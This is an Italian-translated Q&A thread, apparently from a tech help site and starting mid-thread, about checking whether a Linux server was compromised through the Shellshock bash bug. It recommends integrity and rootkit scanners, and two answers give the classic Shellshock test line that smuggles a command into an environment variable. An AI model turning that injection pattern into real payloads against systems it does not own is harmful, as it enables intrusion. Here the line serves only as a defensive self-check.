;-)

Per fare lo stesso periodicamente con la prova crittografica, esiste uno strumento chiamato Tripwireche potresti trovare ancora come versione gratuita. È vecchio ma fa il suo lavoro. Un'alternativa più recente è AIDE, ma non stava usando la crittografia quando l'ho guardata anni fa.

Ci sono alcuni strumenti che possono aiutare. Ad esempio, cercare un pacchetto rkhunter. Eseguirà la scansione del computer alla ricerca di toolkit di root noti e file sfruttati.

Ovviamente questi strumenti avrebbero dovuto essere installati e configurati prima che il sistema venisse compromesso, e questi strumenti possono anche essere scelti come target se il tuo sistema viene hackerato con successo per accedere alla radice. Inoltre, questi strumenti possono essere molto intensivi e rallentare il tuo sistema.


2

L'unico modo per sapere se il tuo server è compromesso è avere da qualche parte una firma dei tuoi file e confrontare i tuoi file attuali con esso. Tuttavia puoi vedere se sei vulnerabile.

  1. non puoi. È ragionevole supporre che se la tua macchina è davvero compromessa, i tuoi soliti strumenti di monitoraggio (ps, top, lsof, ...) sono stati sostituiti con strumenti simili il cui output sembra normale, nascondendo attività sospette
  2. no. può trovarsi in qualsiasi cartella con file eseguibili.
  3. qualsiasi file eseguibile o script (binario ELF, .shell script, ...), inclusi i soliti strumenti di monitoraggio

-3

Come scoprire se la tua casella di Linux è compromessa.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Se se ritorna

vulnerable
this is a test

sei.

Per eseguire l'aggiornamento, eseguire il comando seguente in root

sudo yum update bash

16
-1 Questo controlla se il bash è vulnerabile, non se è stato effettivamente compromesso.
Calimo,

1
Presuppone anche che tu sia in esecuzione yume non un altro gestore di pacchetti.
DavidG

-3

Puoi verificare se sei vulnerabile eseguendo i seguenti comandi (codice fornito dal CSA). Aprire una finestra del terminale e immettere il comando seguente al prompt $:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Se il tuo bash NON è aggiornato, stamperà:

vulnerable
this is a test

Se il tuo bash è aggiornato, vedrai solo:

this is a test

Maggiori dettagli sono disponibili dietro questo link .


1
La domanda riguardava il rilevamento di un server compromesso , non che fosse vulnerabile
Gareth,

ti preghiamo di considerare di leggere altre risposte prima di pubblicarne una molto simile a una risposta il cui punteggio è basso perché NON risponde alla domanda.
Manu H
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.